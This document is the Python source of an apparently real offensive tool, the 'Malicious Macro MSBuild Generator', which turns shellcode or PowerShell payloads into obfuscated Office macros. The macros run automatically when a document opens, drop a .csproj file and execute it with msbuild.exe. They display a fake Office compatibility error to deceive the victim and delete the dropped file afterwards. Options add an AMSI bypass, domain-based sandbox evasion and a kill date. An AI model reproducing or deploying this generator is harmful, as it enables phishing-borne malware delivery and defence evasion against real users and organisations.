2019-05-04 23:20:10 +00:00
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
import os , re , sys , base64
import random , string , argparse
def chunks ( l , n ) :
for i in xrange ( 0 , len ( l ) , n ) :
yield l [ i : i + n ]
def gen_str ( ) :
2019-08-04 04:08:22 +00:00
return ' ' . join ( random . choice ( string . letters ) for i in range ( random . randint ( 8 , 12 ) ) )
2019-05-04 23:20:10 +00:00
def minimize ( output ) :
output = re . sub ( r ' \ s* \ < \ ! \ - \ - .* \ - \ - \ > \ s* \ n ' , ' ' , output )
output = output . replace ( ' \n ' , ' ' )
output = re . sub ( r ' \ s { 2,} ' , ' ' , output )
output = re . sub ( r ' \ s+([^ \ w]) \ s+ ' , r ' \ 1 ' , output )
output = re . sub ( r ' ([^ \ w " ]) \ s+ ' , r ' \ 1 ' , output )
variables = {
' payload ' : ' x ' ,
' method ' : ' m ' ,
' asm ' : ' a ' ,
' instance ' : ' o ' ,
' pipeline ' : ' p ' ,
' runspace ' : ' r ' ,
' decoded ' : ' d '
}
for k , v in variables . items ( ) :
output = output . replace ( k , v )
return output
def generate_shellcode ( filename ) :
shellcode = ' '
if not os . path . exists ( filename ) :
print ' [!] File Not Found '
sys . exit ( 0 )
with open ( filename ) as f :
shellcode = bytes ( bytearray ( f . read ( ) ) )
f . close ( )
targetName = gen_str ( )
template = open ( ' templates/MSBuild_shellcode.csproj ' , ' r ' ) . read ( )
msbuild = template . replace ( ' [SHELLCODE] ' , base64 . b64encode ( shellcode ) ) . replace ( ' [TARGETNAME] ' , targetName )
return msbuild
def generate_powershell ( filename ) :
powershell = ' '
if not os . path . exists ( filename ) :
print ' [!] File Not Found '
sys . exit ( 0 )
with open ( filename , ' rb ' ) as f :
inp = f . read ( )
powershell + = inp
ps = base64 . b64encode ( powershell )
targetName = gen_str ( )
template = open ( ' templates/MSBuild_powershell.csproj ' , ' r ' ) . read ( )
msbuild = template . replace ( ' [POWERSHELL] ' , ps ) . replace ( ' [TARGETNAME] ' , targetName )
return msbuild
def generate_custom ( filename ) :
content = ' '
if not os . path . exists ( filename ) :
print ' [!] File Not Found '
sys . exit ( 0 )
with open ( filename , ' rb ' ) as f :
inp = f . read ( )
content + = inp
return content
2019-08-04 04:08:22 +00:00
def generate_macro ( msbuild_template , amsi_bypass = False , sandbox = False , killdate = False ) :
2019-05-04 23:20:10 +00:00
Method = gen_str ( )
Method2 = gen_str ( )
2019-08-04 04:08:22 +00:00
Method3 = gen_str ( )
2019-05-04 23:20:10 +00:00
Str = gen_str ( )
2019-08-04 04:08:22 +00:00
csproj = random . choice ( [
" TrackPackageWeb " , " DebugInfo " , " CoppisAdditions " , " BusinessLayer " ,
" NativeClientVSAddIn " , " WikiUpdater " , " AuthorizeNet.Helpers " ,
" CreateWordDoc " , " TimeSeries " , " JUpdate " , " UnityImageProcessing " ,
" LogicLayer " ] )
2019-05-04 23:20:10 +00:00
msbuild_encoded = base64 . b64encode ( minimize ( msbuild_template ) )
chunk = list ( chunks ( msbuild_encoded , 200 ) )
macro_str = ' '
2019-08-04 04:08:22 +00:00
2019-05-04 23:20:10 +00:00
if amsi_bypass == True :
macro_str + = ' Function ' + Method2 + ' () \n '
# https://github.com/outflanknl/Scripts/raw/master/AMSIbypasses.vba
macro_str + = ' curfile = ActiveDocument.Path & " \" & ActiveDocument.Name \n '
macro_str + = ' templatefile = Environ( " appdata " ) & " \ Microsoft \ Templates \" & DateDiff( " s " , #1/1/1970#, Now()) & " .dotm " \n '
macro_str + = ' ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True \n '
macro_str + = ' ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled \n '
macro_str + = ' Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0 \n '
macro_str + = ' End Function \n \n '
macro_str + = " Sub AutoNew() \n "
2019-08-04 04:08:22 +00:00
if sandbox is not None :
macro_str + = ' ' + Method3
else :
macro_str + = ' ' + Method
2019-05-04 23:20:10 +00:00
macro_str + = ' \n End Sub \n \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Function decodeBase64(ByVal vCode) \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Dim oXML, oNode \n '
macro_str + = ' Set oXML = CreateObject( " Msxml2.DOMDocument.3.0 " ) \n '
macro_str + = ' Set oNode = oXML.CreateElement( " base64 " ) \n '
macro_str + = ' oNode.dataType = " bin.base64 " \n '
macro_str + = ' oNode.Text = vCode \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' decodeBase64 = sBinToStr(oNode.nodeTypedValue) \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Set oNode = Nothing \n '
macro_str + = ' Set oXML = Nothing \n '
macro_str + = ' End Function \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' \n Private Function sBinToStr(Binary) \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Const adTypeText = 2 \n '
macro_str + = ' Const adTypeBinary = 1 \n '
macro_str + = ' Dim BinaryStream \n '
macro_str + = ' Set BinaryStream = CreateObject( " ADODB.Stream " ) \n '
macro_str + = ' BinaryStream.Type = adTypeBinary \n '
macro_str + = ' BinaryStream.Open \n '
macro_str + = ' BinaryStream.Write Binary \n '
macro_str + = ' BinaryStream.Position = 0 \n '
macro_str + = ' BinaryStream.Type = adTypeText \n '
macro_str + = ' BinaryStream.Charset = " us-ascii " \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' sBinToStr = BinaryStream.ReadText \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Set BinaryStream = Nothing \n '
macro_str + = ' End Function \n \n '
macro_str + = ' Function ' + Method + ' () \n '
2019-08-04 04:08:22 +00:00
payload = Str + " = StrRev( \" " + str ( chunk [ 0 ] ) [ : : - 1 ] + " \" ) \n "
2019-05-04 23:20:10 +00:00
for chk in chunk [ 1 : ] :
2019-08-04 04:08:22 +00:00
payload + = " " + Str + " = " + Str + " + StrRev( \" " + str ( chk ) [ : : - 1 ] + " \" ) \n "
2019-05-04 23:20:10 +00:00
macro_str + = ' ' + payload
2019-08-04 04:08:22 +00:00
macro_str + = ' \n Open Environ(Replace( " U###SE###RP###ROF###ILE " , " ### " , " " )) & " \\ " & Replace( " D###ow###nl###oa###ds " , " ### " , " " ) & " \ {} .csproj " For Output As #1 \n ' . format ( csproj )
macro_str + = ' Print #1, decodeBase64( ' + Str + ' ) \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Close #1 \n \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Delay( " 00:00: " & Int((20 - 1 + 1 ) * Rnd + 1)) \n '
2019-05-04 23:20:10 +00:00
# https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
2019-08-04 04:08:22 +00:00
macro_str + = ' Set SW = GetObject( " n " & " e " & " w " & " : " & Replace( " { 9B###A0###597###2-F6A###8-11CF###-A44###2-00A###0C9###0A8###F3###9} " , " ### " , " " )).Item() \n '
macro_str + = ' SW.Document.Application.ShellExecute Replace( " m###s###b###u###i###l###d###.e###x###e " , " ### " , " " ), Environ(Replace( " U###SE###RP###ROF###ILE " , " ### " , " " )) & " \\ " & Replace( " D###ow###nl###oa###ds " , " ### " , " " ) & " \ {} .csproj " , WhereIs(), Null, 0 \n \n ' . format ( csproj )
2019-05-04 23:20:10 +00:00
macro_str + = ' MsgBox " This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439] " , vbExclamation, " Microsoft Office Corrupt Application (Compatibility Mode) " \n \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Delay( " 00:00: " & Int((10 - 1 + 1 ) * Rnd + 1)) \n '
macro_str + = ' Kill Environ(Replace( " U###SE###RP###ROF###ILE " , " ### " , " " )) & " \\ " & Replace( " D###ow###nl###oa###ds " , " ### " , " " ) & " \ {} .csproj " \n ' . format ( csproj )
2019-05-04 23:20:10 +00:00
macro_str + = ' End Function \n \n '
2019-08-04 04:08:22 +00:00
if sandbox is not None :
macro_str + = ' Function ' + Method3 + ' () \n '
domains = ' + ' . join ( [ ' Chr( {} ) ' . format ( ord ( i ) ) for i in sandbox . lower ( ) ] )
macro_str + = ' arrDomains = Split( %s , Chr(44)) \n ' % domains
macro_str + = ' If (UBound(Filter(arrDomains, LCASE(Environ( " USERDOMAIN " )))) > -1) = True Then \n '
macro_str + = ' ' + Method
macro_str + = " \n End If \n "
macro_str + = ' End Function \n \n '
2019-05-04 23:20:10 +00:00
if amsi_bypass == True :
Method = Method2
2019-08-04 04:08:22 +00:00
if sandbox is not None :
Method3 = Method2
macro_str + = ' Sub Auto_Open() \n '
if killdate is not None :
macro_str + = ' Dim exdate As Date \n '
macro_str + = ' exdate = " %s " \n ' % killdate
macro_str + = ' If Date < exdate Then \n '
if sandbox is not None :
macro_str + = ' ' + Method3
else :
macro_str + = ' ' + Method
if killdate is not None :
macro_str + = ' \n End If '
macro_str + = ' \n End Sub \n \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Sub AutoOpen() \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Auto_Open '
2019-05-04 23:20:10 +00:00
macro_str + = ' \n End Sub \n \n '
macro_str + = ' Sub Workbook_Open() \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Auto_Open '
2019-05-04 23:20:10 +00:00
macro_str + = ' \n End Sub \n \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' Function StrRev(StrR as String) As String \n '
macro_str + = ' For i = Len(StrR) to 1 Step-1 \n '
macro_str + = ' var= Mid(StrR, i, 1) \n '
macro_str + = ' Rev = Rev & var \n '
macro_str + = ' Next \n '
macro_str + = ' StrRev = Rev \n '
macro_str + = ' End Function \n \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' Function FileExists(ByVal FileToTest As String) As Boolean \n '
macro_str + = ' FileExists = (Dir(FileToTest) <> " " ) \n '
macro_str + = ' End Function \n \n '
macro_str + = ' Function WhereIs() As String \n '
macro_str + = ' Dim business As String \n '
macro_str + = ' Dim needful As String \n '
macro_str + = ' Dim location_pw As String \n \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' business = Replace( " C###: \ ###Win###do###ws \ ###Micr###osof###t.NET \ Fr###amewo###rk \\ " , " ### " , " " ) \n '
macro_str + = ' needful = Replace( " \ ###ms###bu###ild.###exe " , " ### " , " " ) \n \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' If FileExists(business & " v4.0.30319 \\ " & needful) Then \n '
macro_str + = ' location_pw = business & " v4.0.30319 \\ " \n '
macro_str + = ' ElseIf FileExists(business & " v3.5 \\ " & needful) Then \n '
macro_str + = ' location_pw = business & " v3.5 \\ " \n '
macro_str + = ' End If \n '
macro_str + = ' WhereIs = location_pw \n '
2019-08-04 04:08:22 +00:00
macro_str + = ' End Function \n \n '
macro_str + = ' Function Delay(time as String) As String \n '
macro_str + = ' WaitUntil = Now() + TimeValue(time) \n '
macro_str + = ' Do While Now < WaitUntil \n '
macro_str + = ' Loop \n '
2019-05-04 23:20:10 +00:00
macro_str + = ' End Function '
return macro_str
def output_file ( filename , data ) :
output = open ( filename , " w " )
output . write ( data )
output . close ( )
def banner ( ) :
return """
/ $ $ / $ $ / $ $ $ $ $ $ / $ $ $ $ $ $
| $ $ $ / $ $ $ / $ $ __ $ $ / $ $ __ $ $
| $ $ $ $ / $ $ $ $ | __ / \ $ $ | $ $ \__ /
| $ $ $ $ / $ $ $ $ / $ $ $ $ $ / | $ $ / $ $ $ $
| $ $ $ $ $ | $ $ | ___ $ $ | $ $ | _ $ $
| $ $ \ $ | $ $ / $ $ \ $ $ | $ $ \ $ $
| $ $ \/ | $ $ | $ $ $ $ $ $ / | $ $ $ $ $ $ /
| __ / | __ / \______ / \______ /
2019-08-04 04:08:22 +00:00
Malicious Macro MSBuild Generator v2 .1
2019-05-04 23:20:10 +00:00
Author : Rahmat Nurfauzi ( @infosecn1nja )
"""
if __name__ == " __main__ " :
print banner ( )
parser = argparse . ArgumentParser ( formatter_class = argparse . RawTextHelpFormatter )
parser . add_argument ( ' -i ' , ' --inputfile ' , help = ' Input file you want to embed into the macro ' , required = True )
parser . add_argument ( ' -p ' , ' --payload ' , help = ' Choose a payload for powershell, raw shellcode or custom ' , required = True )
parser . add_argument ( ' -o ' , ' --output ' , help = ' Output filename for the macro ' , required = True )
parser . add_argument ( ' -a ' , ' --amsi_bypass ' , help = ' Macro AMSI Bypass Execute via ms office trusted location ' , action = ' store_true ' )
2019-08-04 04:08:22 +00:00
parser . add_argument ( ' -d ' , ' --domain ' , help = ' Sandbox evasion technique using environmental keying domain checking. Use comma separating to set multiple domains ' )
parser . add_argument ( ' -k ' , ' --kill_date ' , help = ' Set kill date format [dd/MM/yyyy] the payload do not run on or after this day ' )
2019-05-04 23:20:10 +00:00
args = parser . parse_args ( )
inputfile = args . inputfile
payload = args . payload
output = args . output
amsi_bypass = args . amsi_bypass
2019-08-04 04:08:22 +00:00
domain = args . domain
killdate = args . kill_date
2019-05-04 23:20:10 +00:00
msbuild_payload = ' '
if payload . lower ( ) == ' shellcode ' :
msbuild_payload = generate_shellcode ( inputfile )
elif payload . lower ( ) == ' powershell ' :
msbuild_payload = generate_powershell ( inputfile )
elif payload . lower ( ) == ' custom ' :
msbuild_payload = generate_custom ( inputfile )
else :
print ' [!] Invalid type payload '
sys . exit ( 0 )
if msbuild_payload != ' ' :
print " [*] Writing msbuild {} payload. " . format ( payload )
2019-08-04 04:08:22 +00:00
macro = generate_macro ( msbuild_payload , amsi_bypass , domain , killdate )
2019-05-04 23:20:10 +00:00
output_file ( output , macro )
print " [*] {} macro sucessfully saved to disk. " . format ( output )